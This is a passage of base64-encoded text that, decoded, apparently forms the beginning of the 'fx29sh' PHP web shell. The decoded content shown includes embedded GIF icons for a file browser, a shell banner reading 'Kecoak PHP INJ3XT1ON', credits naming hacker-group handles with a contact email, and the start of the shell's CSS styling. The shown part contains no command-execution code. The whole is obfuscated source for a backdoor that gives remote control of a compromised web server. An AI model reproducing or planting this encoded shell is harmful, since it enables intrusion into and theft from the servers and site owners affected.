1bmN0aW9uIGltYWdleigpeyRpbWFnZXM9YXJyYXkoImhvbWUiPT4nUjBsR09EbGhFd0FZQUxNSkFINis5MU9aOTd6cC9sNngvWS9WL2lWcjdER1EvUXd4eUFFS3BQLy8vd0FBQUFBQUFBQUFBQUFBQUFBQScuJ0FBQUFBQ0g1QkFIb0F3a0FMQUFBQUFBVEFCZ0FBQVNvTUVrSndyd1lBeUVxeUZrUWNGd0ZUdUpBa0YxeERrRXhBQVJkQXk0VzRFVXcnLid6d0FBTEVmaEZReSs1QUFXbXd3TFVJTjBPaFBsQmpMb2NTcGREZ3pZQkxZbmpYYS9VMWZNUUQ2YXVXenhNUUJtbjBYcEJKNk9CNmZzJy4nY1h3aVBsNUxCd2dJZEdxRGhWNEZpSW1CS1Y1Q1FRR1FQamxnUzBHVk1KQmZSRDVCQkRVMWw0ZytCeGNHTnFZRUFRZUhCYXNZQnFXNCcuJ3NMSzFJQVVjSzdvbkZ3V2xPTUlaQjBUSHl4Z1JBRHM9JywiYnVmZmVyIj0+J1IwbEdPRGxoR0FBV0FMTUpBQm8rcUdxbDc3eks0T1B3K3BYRTlUeDMzbU9DeHg1V3pZeXY0di8vL3dBQUFBQUFBQUFBQUFBQUFBQUEnLidBQUFBQUNINUJBSG9Bd2tBTEFBQUFBQVlBQllBQUFTYk1NbEphMExGYW8wUU1ac2xETUpGRUVHaGh0UGd1bDRnRndlYnZLOUJJQ25OJy4nNG9QT0FDVTdIQUFiM0dsNG10R1FsdGZTZFNJK0FkQVdWVmxOR2JIWm14VFlWQjNCVU9DSTJ2UitBUWFRWkwxbHo3NEdoRUFnbjQ4SScuJ2JDZzBCd1Y3ZXdoOUFnU0dnRU05QVNPR2UzMk5pd0ZNQVkwdWtnWmhVMVdhT0h4aEUwdFRRQ1I5R2tzSXFIeXFHNHFuUWJBc0FrSzAnLidOaHNGaUxxK05oRUFPdz09Jywic2VhcmNoIj0+J1IwbEdPRGxoR0FBWEFLSUVBSGw1ZWNiR3hxQ2dvT3ZyNi8vLy93QUFBQUFBQUFBQUFDSDVCQUhvQXdRQUxBQUFBQUFZQUJjQUFBTnEnLidTTHE4OGlLMDJVSU0xa1k2N2ZnRGhqM2M0b0dpS0pSSzltVXB5Y0ZwSFFDbEhidzh6bDJpRU9qbG85U0V3MURSdU5zbGlheWdNd2xZJy4nZGk3UGdjREtVRDJtb1cxdXRBVkFIdFVTOW1hR21Ma09UQml1ZHJKWmszVWF6NGdRNlhVWWUzd05iNENFaUltS0NRQTcnLCJiYWNrIj0+J1IwbEdPRGxoR0FBWUFMTUpBQzlJTGtlc1BiSGRvM1cwWmkySUorZjE0MWFPVVRSb000TEtkUC8vL3dBQUFBQUFBQUFBQUFBQUFBQUEnLidBQUFBQUNINUJBSG9Bd2tBTEFBQUFBQVlBQmdBQUFTd01NbEpxNzA0NnpTTS84WW1lWU5nRmlaaUhNZG1DRVZzem9JYVhzY0xwd2hDJy4nZHkyTEFTRVRsQW9CWHc4eENGWU1xTlF1V2VzQks0T2prVmdZTEw4QjUyaDJMQ0NTMld4Z0VDQUFKaXRlTE5hck10ZHVPRUU2NzgvUCcuJ2JXOGpCelZlZmlneWJJRVVRejBCTUYwRUFaT1RrbTZDRWdDTmJGT1VuZ1I1RkFkTGF6Q0FsS0Nob210M0FTaW9scGlNQjVPS2JKWnQnLidvTElWdEo2VnVhb1hBQWVweGJxN0djVEZBTWdiek0vTkl0TFRHeEVBT3c9PScsImZvcndhcmQiPT4nUjBsR09EbGhHQUFZQUtJR0FCOWZIVnUyVDduaXJJYktkamFYTCt6MzZQLy8vd0FBQUNINUJBSG9Bd1lBTEFBQUFBQVlBQmdBQUFPYycuJ2FMcmMvZzFJQ1NzWklvc1JTR1dYVUdqYVFBQWZJWTdaNEdJYytxZ0Z5NzM0K1F4c3kyK0JWOGRCR1BWZUkwNHdFSkF0ZmlTZ1NNQ3MnLidPZzJBRXU1V28xWjFpdXdHc3ltdkNoeEN4eW5HMU43d1dvY0F4bWFDR1ZaY1FLZXpZVlZmUENOekoxY0JZemRNRjRSOWRXRXdRa0Z5Jy4naFk4S0Y1S0lhSTZXWVVHS1M1eWRZUmVCYXB4WERnQnFwbjBVSDJHcmpxK3dEQk1UdGJtNnV3c0pBRHM9JywidXAiPT4nUjBsR09EbGhHQUFYQUtJR0FCeFhHMGlyUHJMZW8zekZieldGTU9MejN2Ly8vd0FBQUNINUJBSG9Bd1lBTEFBQUFBQVlBQmNBQUFPUCcuJ2FMcmMvakJLTW9hNGxSQ3A2QzFYT0FTYk5CUWdWcTFENlhpcHNBWXMrUkNvQUZaNVFOTUVRSU9TcStoUU81OVB5QWpvTUVja2F1UUwnLidNbkJRYVM1SlluWjJUeDZJTnU1ZWQ1YlJxVUNsbWhjRUVVM3NybHJoSVpsc1hTZThPeFo2SzFOS0pBRmVjSUVzaEZWL0N3Qk9OUmlOJy4nZHk5ekZZVktHb2hEbHo5MkFKdzNtU1JCb2hHaHFhRWNySzJ1RGdrQU93PT0nLCJoZWxwIj0+J1IwbEdPRGxoR0FBWUFLSUdBRGxxektqQTZPM3g5MzJkM3JQay8xMkJ5di8vL3dBQUFDSDVCQUhvQXdZQUxBQUFBQUFZQUJnQUFBT2EnLidhTG9yN2l4SzgrcWIwZXFMTi9tRU5WbGZZSnBEVUVrUE1hU2g0NzR4d2JUdnNBM0FFTjhDVjZHZ0VoUjZEaDVTRUZBOEJrZUFTZ21RJy4nQWE0L2lnTVF2WG9Mam9CWEozQUd1OTVyTVEwdWE4VnBiNUhLaFdnSjhTc1pmYlZiOHlwd2FXUm1Sb0FDZEhwMldvbDVhVElOVzNFcCcuJ2ZIdEFnbjFNYkJ5Um1uS0lYdzhGTEU5ZlYwU2NFa1ZoS1NZckdBcXJHMDJ3RWE2c3RibTZDUUE3JywiY2hhbmdlIj0+J1IwbEdPRGxoRUFBUUFMTU1BRE11TUUyZjU4ZTJPTjdPTXNYWjg4d3BUZC90L0ZoWVU0eDllckN3cklXU3BXNTRpd0FBQUFBQUFBQUEnLidBQUFBQUNINUJBSG9Bd3dBTEFBQUFBQVFBQkFBQUFSY2tNbEo2d1FuNndNc1cwUW9Ca3RYTFVhYUVrSEFJWWlKcWl1aEZBVWcweXFSJy4nSUFLZFpNWXpJQWFjQ2JHWEVBeUVRMEl2bEVBZUtDQ0RWSnBvbXBSYmtVSnpFb2tCaTBYWlRGZ29DRmZLd2ExUTBOTnhDbWF6ejN2KycuJ0RCRUFPdz09JywiZGVsZXRlIj0+J1IwbEdPRGxoRUFBUUFLSUdBSklNSk5NSExja2pRVVJEUTJvcU5pZ29LQUFBQUFBQUFDSDVCQUhvQXdZQUxBQUFBQUFRQUJBQUFBTlAnLidLREhXL2s0SkJpdVJGSTVwaWxCRThSUVgxMnlCSUhZZk1HVGVOeFFvTVZmYko3Z1o1QVdwVjhWQlU2U0drVlNwUjd6d2RJU0tVUmd6Jy4nZFM0QjJ5TVhNZ3lBV28yT0JHUTZjcStObWJoSkFBQTcnLCJkb3dubG9hZCI9PiJSMGxHT0RsaEZBQVVBTE1JQUFEL0FBQ0FBSUFBQU1EQXdIOS9mLzhBQVAvLy93QUFBUC8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4iQUFBQUFDSDVCQUVBQUFnQUxBQUFBQUFVQUJRQUFBUk9FTWxKcTcwNFV5R092a0xoZlZVNGtwT0pTcHg1bkY5WWlDdExmMFN1SDdwdSIuIkVZT2djQmdrd0FpR3BIS1p6QjJKeEFEQVNRRkNpZFFKc01mZEdxc0RKbk9RbFhUUDM4cHJ6V2JYM3FnSUFEcz0iLCJzZXR1cCI9PiJSMGxHT0RsaEZBQVVBTVFBQUFBQUFQLy8vL2o0K09QajQ5M2QzY3pNek1EQXdMS3lzcGFXbG9hR2huZDNkMlptWmw5ZlgwMU5UVUpDIi4iUWh3Y0hQLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ0g1QkFFQSIuIkFCQUFMQUFBQUFBVUFCUUFBQVdWSUNTS2lrS1dhRG11U2hDVWJqek13RW9HaFZ2c2ZIRUVOUllPZ2VnbGprZWcwUEY0S0JJRlJNSUIiLiJxQ2FDSjRlSUdRVm9JVldzVGZRb1hNZm9VZm1NWnJnWjJHTkRQR0lJN2dKRExZRXJ3RzF2Z1c4Q0NRdHpnSGlKQW5hRmh5dDJkd1FFIi4iT3djTVpvWjBrSktVbFplT2RRS2JQZ2VkalptaG5BY0pscWFJcVVlc21JaWtwRWl4bnlKaHVsVU1oZzI0YVNPNll5RUFPdz09Iiwic21hbGxfZGlyIj0+J1IwbEdPRGxoRHdBUUFMTVBBQWtKQ1hWM2lFRnZ6NWl0NE1YVjhsRmtxWGFVMmF1KzZFdE1WaVFrSllHR3EySmpjVUZodW5OM2xqYzMnLidPUUFBQUNINUJBSG9BdzhBTEFBQUFBQVBBQkFBQUFSdUVLRFZWRXN2NjR3TytVZmpPQk8xQU0ybkhzYlFHa2FERENvNDNFZE9WUFc5Jy4nRXJtRmdqREk2WXlIbTdBSU5ONWNNRVNnU0gzQ0JBS0dvOUdDd2d4WXJIYngvWWJEWXdFWWZFWTdGdTE0OXMyUVp4a0ZSUUpSUitNYicuJ0FRc09BQTk4REg4TmdnQ0VHZ21BaW93YkdSRUFPdz09Jywic21hbGxfdW5rIj0+J1IwbEdPRGxoRUFBUUFLSUhBQnBGbm9hcDNiVEw4OXZxL0Z1Q3ZWWmxoSDZNcy8vLy95SDVCQUhvQXdjQUxBQUFBQUFRQUJBQUFBTkwnLidlQmZjclZDRlFldGdKUzViQS9uUnhGbEdKbFVGb0JJQ1pVRGk2Z0dzWUc1RFdxbnRMWkk4RzR4RENBcFBIZU1SNXdMOGxnYlNFOXJxJy4nT2F2VXF1cm5nVG0rbnR1aFFDNmJ5WWNFQURzPScsIm11bHRpcGFnZSI9PiJSMGxHT0RsaENnQU1BSkVEQVAvLy8vLzNtUUFBQUFBQUFDSDVCQUVBQUFNQUxBQUFBQUFLQUF3QUFBSWozSVIiLiJwSmhDT0Rub3ZpZEFvdkJkTXp6a2l4bFhkbEkyb1pwSldFc1N5d0x6UlVBQUFPdz09Iiwic29ydF9hc2MiPT4iUjBsR09EbGhEZ0FKQUtJQUFBQUFBUC8vLzlUUXlJQ0FnUC8vL3dBQUFBQUFBQUFBQUNINUJBRUFBQVFBTEFBQUFBQU9BQWtBQUFNYSIuIlNMcmNQY0U5R0tVYVFsUTVzTjVQbG9GTEozNU9vSzZxNVNZQU93PT0iLCJzb3J0X2Rlc2MiPT4iUjBsR09EbGhEZ0FKQUtJQUFBQUFBUC8vLzlUUXlJQ0FnUC8vL3dBQUFBQUFBQUFBQUNINUJBRUFBQVFBTEFBQUFBQU9BQWtBQUFNYiIuIlNMcmNPakJDQjRVVklUZ3lMdDVjaDJtZ1NKWkRCaTdwNmhJSkFEcz0iLCJleHRfYXNwIj0+IlIwbEdPRGRoRUFBUUFMTUFBQUFBQUlBQUFBQ0FBSUNBQUFBQWdJQUFnQUNBZ01EQXdJQ0FnUDhBQUFEL0FQLy9BQUFBLy84QS93RC8iLiIvLy8vL3l3QUFBQUFFQUFRQUFBRVN2RElTYXNGMk42RE1OQVM4QnhmbDFVaU9aWWU5YVV3Z3BEVHE2cVAvSVgwT3o3QVhVLzFlUmdJIi4iRDZIUGh6alNlTFlkWWFic0RDV01ad2hnM1dXdEtLNFFyTUhvaENBUytoQUJBRHM9IiwiZXh0X21wMyI9PidSMGxHT0RsaEVBQVJBTE1QQURFOFhFNmVrTVN1Tk1EVzdNMUlSR1JvWk9YczlLaTMxWTJIVzNQRWlGbDJ1MTlSWDRhanpObUNldWV3Jy4ncHdBQUFDSDVCQUhvQXc4QUxBQUFBQUFRQUJFQUFBU0k4RDFHcXkweU04TzdHUlNtZVIyb0tPSkVjZ040b0pKeU5FeFNEMTk3aUFqUycuJ09JMkVrSUZyWVFxTjMrY2dSQkEvaXdMaGgrTXdFNEhEWUxlWUdnNE1MVE5RQ0JpN2pvRUNjS0tRQzl0Q1Y3dG1od29BTFY1QlBNbkEnLidQWGs3QlNjNUxBNENDQVVIWENjSEhvZ0NoSXdZYkcyUmtnVmhPeEtXQ2dnQ2tnQ2FmQ2tBcDZpbkJhdXJFUUE3JywiZXh0X2F2aSI9PidSMGxHT0RsaEVBQVFBTE1NQUFVRkJZMk9rTTdUMlVwS1NxV29xK3p6L0dob2FTUWtKTFc0dTFwYVducDZlalkzTndBQUFBQUFBQUFBJy4nQUFBQUFDSDVCQUhvQXd3QUxBQUFBQUFRQUJBQUFBUmRrTWtwZ1ZHSDZwb0l3dHRrZVFVQmJxTlFyR1pHallHNmxvYkxXQW9peEhPdycuJ0dCeURicFVyQVE2SzIrQW9XLzBPeU9NeTRHdGlvb3pCZ3NBYXFCRGEwOEF3b3hIQ2dNbVBSelNNMDVSMTd4MlNCeEtuK3VVQ0QwblcnLidmUm9SQURzPScsImV4dF9jZ2kiPT4nUjBsR09EbGhFQUFRQUtJSEFFaEpTK3E4RC83ZE5mbnVscFIvVTVwcUN0UzVlUC8vL3lINUJBSG9Bd2NBTEFBQUFBQVFBQkFBQUFOVCcuJ2VMcFgvSzlJU0l0d2xFbEJjRzVCTUVGU0dZb2xWZ3pzWUFpaDBRNUZGN0l3akFjZGNSQ0UwMjF3S1FCOENxQ1FSUUFjSDRTWFlPY2snLidFUVV5MkRNU01tYUJFV0lUU0JBakZaTHhBbGlEZ2hsa1JRSUFPdz09JywiZXh0X2NtZCI9PiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQWNBTEFBQUFBQVFBQkFBZ2dBQUFQLy8vNENBZ01EQXdBQUFnSUNBQVAvL0FBQUFBQU5JIi4iZUxyY0p6REtDWWU5K0FvZ0J2bGcrRzJkU0FRQWlwSUQ1WEpESU0rMHpOSkZrZEwzREJnNkhteFdNRUFBaFZsUEJoZ1lkclloRFFDTiIuImRtcllBTW4xb25xL1lLcGp2RWdBQURzPSIsImV4dF9jcHAiPT4iUjBsR09EbGhFQUFRQUNJQUFDSDVCQUVBQUFVQUxBQUFBQUFRQUJBQWd2Ly8vd0FBQUFBQWdJQ0FnTURBd0FBQUFBQUFBQUFBQUFOQyIuIldMUGM5WENBU1NjWjhNbEtpY29iQndSa0VJa1ZZV3FUNEZJQ29KNXY3YzZzM2NxckFyd2luRS8zNDlGaU5vRnc0NHJ0bHFoT0w0UmEiLiJFcTdZckxERTdhNFNBRHM9IiwiZXh0X2luaSI9PiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQVlBTEFBQUFBQVFBQkFBZ2dBQUFQLy8vOERBd0lDQWdJQ0FBUC8vQUFBQUFBQUFBQU5MIi4iYUFyQjNpb2FOa0s5TU5iSHM2bEJLSW9Db0kxb1VKNE40RENxcVlCcHVNNmhxOFAzaHdvRWdVM21hd0VMQkVhUEZpQVVBTWdZeTNWTSIuIlNuRWpnUFZhckhFSGdyQjQzSnZzenNRRUFEcz0iLCJleHRfZGl6Ij0+J1IwbEdPRGxoRUFBUUFLSUhBQXNaY1d5UHY3dlQ2ZWIwL1RoT2kxdHVrWnl5eS8vLy95SDVCQUhvQXdjQUxBQUFBQUFRQUJBQUFBTlMnLidlSHJUTGl1NklZaDVjaFpBSmxSVEk0UkRjSXlhY1hrRjZnQWNXYXhQTEZKemFOaG9aWXlvWFFjb0NNd0VyZ0NIdUZQOGtFVmpBR2tnJy4nRkJhcUo5Q2d2RVlPQlFLMDYvMHFqbGF6dVNCVnI4dUxCQUE3JywiZXh0X2RvYyI9PiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQVVBTEFBQUFBQVFBQkFBZ2dBQUFQLy8vOERBd0FBQS80Q0FnQUFBQUFBQUFBQUFBQU5SIi4iV0VyY3JyQ1FRQ3NsUUEyd093ZFhrSUZXTlZCQStubWU0QVpDdW9sblJ3a3dGOVFnRU9QQUZHMjFBK1o0c1FITzk0cjFlSlJUSlZtcSIuIk1JT3JyUFNXV1pSY3phNmthb2xCQ09CMFdveFJ1ZDBKQURzPSIsImV4dF9leGUiPT4iUjBsR09EbGhFd0FPQUtJQUFBQUFBUC8vL3dBQXZjYkd4b1NFaFAvLy93QUFBQUFBQUNINUJBRUFBQVVBTEFBQUFBQVRBQTRBQUFNNyIuIldMVGNUaVdTUWF1dEJFUTFoUCtnbDIxVEtBUUFpbzdTOEx4YUc4eDBQYk9jclFmNHROdTl3YThXSE5LS1JsNHNsK3k5WUJ1QWRFcXQiLiJ4aElBT3c9PSIsImV4dF9oIj0+IlIwbEdPRGxoRUFBUUFDSUFBQ0g1QkFFQUFBVUFMQUFBQUFBUUFCQUFndi8vL3dBQUFBQUFnSUNBZ01EQXdBQUFBQUFBQUFBQUFBTkIiLiJXTFBjOVhDQVNTY1o4TWxLQ2NBUlJ3VmtFQUtDSUJLbU5xVnJxN3dwYk1tYmJiT25yZ0k4RitxM3c5R09RT01RR1p5Sk9zcG5Na0tvIi4iV3EvTmtuYmJTZ0FBT3c9PSIsImV4dF9ocHAiPT4iUjBsR09EbGhFQUFRQUNJQUFDSDVCQUVBQUFVQUxBQUFBQUFRQUJBQWd2Ly8vd0FBQUFBQWdJQ0FnTURBd0FBQUFBQUFBQUFBQUFORiIuIldMUGM5WENBU1NjWjhNbEtpY29iQndSa0VBR0NJQUtFcWFGcXBiWm5tazQyL2Q0M3lyb0ttTEFEbFBCaXM2THdLTkFGajdqZmFXVlIiLiJVcVVhZ25iTGRaYStZRmNDQURzPSIsImV4dF9odGFjY2VzcyI9PiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQVlBTEFBQUFBQVFBQkFBZ2dBQUFQOEFBUDhBL3dBQWdJQUFnUC8vQUFBQUFBQUFBQU02Ii4iV0VYVy9rNlJBR3NqbUZvWWdOQmJFd2pEQjI1ZEdaelZDS2dzUjhMaFNucHJQUTQwNnBhZm1rRHdVdW1JdkpCb1JBQUFsRXVERXdwSiIuIkFBQTciLCJleHRfaHRtbCI9PidSMGxHT0RsaEVBQVFBTE1PQUl5dDAxNkl0di8vLzJHcDR1WHkvYzNQL01YbC9tdHJuQzZaNG1mZC9DaGdrN1BPOWxCVmhuTnpjLy8vJy4nL3dBQUFDSDVCQUhvQXc0QUxBQUFBQUFRQUJBQUFBU0YwRWtIcXExaDZudXpsb0FnamtJd2ZKUklGSlZ4Rk1nSERHWVFDTWloZTQ2ZCcuJy9JaUJJRUVRRkE0U2t3SEJaQWFLSzJSUEFGQUFDTTBud1RVRk1BZUQ1bUZCV0NDcFRJVjZyU0NiS1FrRlFwRXcyQTFsdzRMUmE4NFgnLidjbjk2ZkFnNGdRZ0pBd3dBZW5zT0F5RnpDZ3lUQUFzRmd4S1FBeXdWQlpjR24zd1RES1dsRGFhbUVRQTcnLCJleHRfanBnIj0+J1IwbEdPRGxoRGdBUUFMTU1BQ1lsSUM2TkZMT3hLbnFJY2JQSWlrV29Ja1ZGUldsbFJPTFpVbU84TnFLbW9CQnhDQUFBQUFBQUFBQUEnLidBQUFBQUNINUJBSG9Bd3dBTEFBQUFBQU9BQkFBQUFSYk1LeEo2encyaUdRSEZTQUNDcFEzQ1dKSVNtYUJDc0FCY291SmlFQ09Ja1ZnJy4nN2dhZGlCWG9BWGM5WC9MR1JCQVN2VUVQbWlBNHFVWHBGUHBNWnJIUW9qY2hKWmpEVk9wZ29HaWIzKzgyVzhHdTArbnJHRDJZNHdjTicuJ0VRQTcnLCJleHRfanMiPT4nUjBsR09EbGhEd0FRQUtJRUFCNGVIWjZlYU9MaWgyQmdXUUFBQUFBQUFBQUFBQUFBQUNINUJBSG9Bd1FBTEFBQUFBQVBBQkFBQUFOUCcuJ1NBb1I4bkFBUmNaNHJRa3I2OFZDSTFuVEI0VmowSDFpQUx6d3BJVVkzRlhPS2I0VXdZU3FET0RtWStST1JFdG1rRUZOaHFLUnlmVjcnLidTRnpIRVFSNjJxU0FuQnhKb1ZTbHhoUkpMRVpKQUFBNycsImV4dF9sbmsiPT4nUjBsR09EbGhFQUFRQUtJSEFBQUZBQ09QRTJUTk5qNjBJUVJLQW9qdVZnZGxCQUFBQUNINUJBSG9Bd2NBTEFBQUFBQVFBQkFBQUFOTycuJ2VHZmNia0NwUU91NEFrWmxMTTVBS0hsQ3FXM1RWdzRobXFxbEtCM1VLaFFGNkFaMmliTTdFdytYazZVSW9RQVJPQXNnUTRSYklXQmMnLid0QmJTcTBScnVEMWRCMVMzQlo1WnRlWVoyWndBQURzPScsImV4dF9sb2ciPT4iUjBsR09EbGhFQUFRQURNQUFDSDVCQUVBQUFnQUxBQUFBQUFRQUJBQWcvLy8vd0FBQU1EQXdJQ0FnSUNBQUFBQWdBQUEvLy8vQUFBQSIuIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVJRRUtFd0s2VXlCekM0NzVnRUFsdEprbExSQVd6YkNsUmhySzRMeTV5Zzcvd04iLiJ6TFVhTEdCUUJWMkVnRkxWNHhFT1NTV3Q5Z1FRQnBScHF4b1ZOYVBLa0ZiNUVoL0xtVUd6RjVxRTMrRU1JZ0lBT3c9PSIsImV4dF9waHAiPT4nUjBsR09EbGhFQUFRQUlBQkFQLy8vLy8vL3lINUJBSG9Bd0VBTEFBQUFBQVFBQkFBQUFJb2hJOEp3ZTBQbzV3TnNSV1d4YmwzYmxTZScuJ1ZtSG1NV1pvdWoybWQ3a3hCOGNmaGVjNnBQUkhBUUE3JywiZXh0X3BsIj0+IlIwbEdPRGxoRkFBVUFLTC9BUC80LzhEQXdIOS9BUC80QUwrL3Z3QUFBQUFBQUFBQUFDSDVCQUVBQUFFQUxBQUFBQUFVQUJRQVFBTW8iLiJHTHJjM2dPQU1ZUjRPT3VkcmVlZ1JsQldTSjFscUs1czY0TGpXRjNjUU1qcEpwRGY2Ly9BQkFBNyIsImV4dF9zd2YiPT4iUjBsR09EbGhGQUFVQU1RUkFQK2NuUDlTVXM0QUFQK2NBUC9PQUlRQUFQOWpBTTVqbk02Y1k4NmNuS1hPOThiZXhwd0FBUDh4QVAvTyIuIm5BQUFBUC8vLy8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNINUJBRUEiLiJBQkVBTEFBQUFBQVVBQlFBQUFWN1lDU09aR21lNlBtc2JNdXFVQ3pQMEFQTHpoQWJ1UG5RQXdlRTUyZzBmREtDTUdnb09tNFFCNEdBIi4iR0JnYVQyZ01RWWdWalVmU1QzWW9GR0tCUmdCcVBqZ1lERUZ4WFJwREdFSUE0eEFRUU5SMU5Ib01FQUFDQUJGaEl6OHJDbmNNQUdnQyIuIk55c0xrRE9UU0NzSk5ESmFuVFVxTHFNMkthYW5xQkVoQURzPSIsImV4dF90YXIiPT4nUjBsR09EbGhFQUFRQUtJRkFCb2tIeW13b0tpWWtLSVliZHpvNHdBQUFBQUFBQUFBQUNINUJBSG9Bd1VBTEFBQUFBQVFBQkFBQUFNNCcuJ0NMcmNKVkNNU2VzQUpKT2hZN3dhQVVnV2hXbGpvNjdyRTdGTUdHaHpZTnRuTnQ0OEhzSkFsZ3NTeklsb3ZZQXhsZlNoQk1Wb0lRRUEnLidPdz09JywiZXh0X3R4dCI9PidSMGxHT0RsaEN3QVFBS0lGQUNvcUtxQ2VvTy96ODNkMmJyTzJ2d0FBQUFBQUFBQUFBQ0g1QkFIb0F3VUFMQUFBQUFBTEFCQUFBQU01Jy4nQ0xNOE1TQklKd05aSkFoTlJCZERSM3hDQ1lxa0dYcHB1WnJ3dVZXajIxbVZKbytqWkc4MTJDdjI4OFZXRCtLUXRRQTRtNENDZEpvQScuJ0FEcz0nLCJleHRfd3JpIj0+IlIwbEdPRGxoRUFBUUFETUFBQ0g1QkFFQUFBZ0FMQUFBQUFBUUFCQUFnLy8vL3dBQUFJQ0FnTURBd0lDQUFBQUFnQUFBLy8vL0FBQUEiLiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFSUlVNaEprYjBDNksySHVFaVJjZHNBZktFeGtrRGdCb1Z4c3R3QUF5cGR1b2FvIi4iYTRTWFQwYzRCRjByVWhGQUVBUVFJOWRtZWJSRVc4eVhDNk54MlFJN0xyWWJ0cEpaTnN4Z3pXNm5MZHE0OWhJQkFEcz0iLCJleHRfeG1sIj0+IlIwbEdPRGxoRUFBUUFFUUFBQ0g1QkFFQUFCQUFMQUFBQUFBUUFCQUFoUC8vL3dBQUFQSHg4WWFHaGpObW1hYks4QUFBbVFBQWdBQ0EiLiJnRE9aQURObS96T1ovelAvLzhEQXdEUE0vd0FBL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4iQUFBQUFBQUFBQUFBQUFBQUFBVms0Q0NPcEFpZDBBQ3NiTnNNcU5xdUFpQTBBSnpTZGw4SHdNQk9VS2doRUFwYkVTQlVGUXdBQklDeCIuIk9BQU14ZWJUaG1BNEVvY2F0Z25ZS2hhSmh4VXJJQk5yaDdqeXQvUFphKzBoWWMvbjAyVjRkelp1ZllWL1BJR0pib0tCUWtHUGtFRVEiLiJJUUE3Iik7cmV0dXJuICRpbWFnZXM7fWZ1bmN0aW9uIHNoX25hbWUoKXtyZXR1cm4gIi0tPT1bS2Vjb2FrIFBIUCBJTkozWFQxT05dPT0tLSI7fWZ1bmN0aW9uIGZ4MjlzaF90b29scygpe2Jhcl9oZWFkZXIoIi46IFRvb0x6IDouIik7fWZ1bmN0aW9uIGZ4MjlzaF9hYm91dCgpe2Jhcl9oZWFkZXIoIi46IENyZWRpdHMgOi4iKTtlY2hvICJJZGVhLCBsZWFkZXIgJiBjb2RlcjogPGI+dHJpc3RyYW0gW0NDVGVhTV08L2I+PGJyPiIuIkJldGEtdGVzdGVyICYgdGlwczogPGI+TnVrTGVvTiBbQW5UaVNoQFJlIHRFYU1dPC9iPjxicj4iLiJSZS1jb2RlciwgRGVzaWduZXIsIFdpbmRvd3MgRml4LCBQSFAgTWFpbGVyICYgUEhQIEZpbGVzeXN0ZW06IDxiPkZhVGFMaXNUaUN6X0Z4IFtGZWVMQ29NeiBDb01NdU5pVHldPC9iPjxicj4iLiI8YnI+Ii4iUGxlYXNlIHJlcG9ydCBidWdzIHRvIDxhIGhyZWY9XCJtYWlsdG86ZmVlbGNvbXpAeWFob28uY28uaWRcIj5GYVRhTGlzVGlDel9GeDwvYT48L2I+XG4iO31mdW5jdGlvbiBodG1sX3N0eWxlKCl7JHN0eWxlPSc8aHRtbD4NCjxoZWFkPg0KCTxzdHlsZT4NCgkJdGFibGUge3dpZHRoOiAxMDAlO2JvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7fQ0KCQkjbWFpbiwgI21haW5pbmZvIHt3aWR0aDogOTAwcHg7fQ0KCQlib2R5LCB0YWJsZSwgaW5wdXQsIHNlbGVjdCwgb3B0aW9uLCAuaW5mbw0KCQl7DQoJCQlmb250OiA4cHQgdGFob21hOw0KCQl9DQoJCS5mb290ZXIge2ZvbnQ6IDdwdCB0YWhvbWE7fQ0KCQl0ZXh0YXJlYSwgLmNvZGUNCgkJew0KCQkJZm9udDogOHB0IENvdXJpZXIgTmV3Ow0KCQkJY29sb3I6ICNkZWRiZGU7DQoJCQlib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2Ow0KCQl9DQoJCWltZyB7Ym9yZGVyOiAwO30NCgkJI21haW5pbmZvIGltZyB7d2lkdGg6IDE2O2hlaWdodDogMTY7fQ0KCQlpbnB1dCwgc2VsZWN0LCBvcHRpb24ge2JvcmRlcjogMXB4IHNvbGlkICM2MDYwNjA7fQ0KCQkjbWFpbmluZm8sIHRkLCB0aCB7Ym9yZGVyOiAxcHggc29saWQgIzNGM0YzRjt9DQoJCWEge2NvbG9yOiAjNUI1QkZGO3RleHQtZGVjb3JhdGlvbjogbm9uZTt9DQoJCSNwYWdlYmFyIGEsIC5iYXJoZWFkZXIgYSB7Y29sb3I6ICMwMEZGMDA7fQ0KCQlhOmhvdmVyLCAjcGFnZWJhciBhOmhvdmVyIHtjb2xvcjogIzMzNjZGRjt9DQoJCS5vbiB7Y29sb3I6ICMwMEZGMDA7fQ0KCQkub2ZmLCAuZXJybXNnIHtjb2xvcjogI0ZGMDAwMDt9DQoJCWJvZHksIHRhYmxlLCBpbnB1dCwgc2VsZWN0LCBvcHRpb24ge2NvbG9yIDogI0VFRUVFRTt9DQoJCS5pbmZvIHRoIHtjb2xvcjogIzk2OTY5Njt3aWR0aDogMTMlO30NCgkJLnNoZWxsIHtmb250LXNpemU6IDEyO2NvbG9yOiAjQzBDMEMwO2JvcmRlcjogMDt9DQoJCSNwYWdlYmFyIGEsIC5iYXJoZWFkZXIsIC5lcnJtc2csIC5vbiwgLm9mZg0KCQl7DQoJCQlmb250LXdlaWdodDogYm9sZDsNCgkJfQ0KCQlwLCBmb3JtLCAuaW5mbywgLmluZm8gdGQsIC5pbmZvIHRoLCAuZXhwbG9yZXIgKg0KCQl7DQoJCQltYXJnaW46IDA7DQoJCX0NCgkJaW5wdXQsICNtYWluaW5mbyB7bWFyZ2luOiAzcHg7fQ0KCQkjbWFpbnBhbmVsIGlucHV0LCAjbWFpbnBhbmVsIHNlbGVjdA0KCQl7DQoJCSAgbWFyZ2luOiAwcHggMnB4IDBweCAycHg7DQoJCX0NCgkJI21haW5pbmZvIHRhYmxlLCBzZWxlY3Qge21hcmdpbjogMnB4IDBweCAycHggMHB4O30NCgkJI3BhZ2ViYXIsIC5iYXJ0aXRsZSwgI21haW5wYW5lbCB7YmFja2dyb3VuZ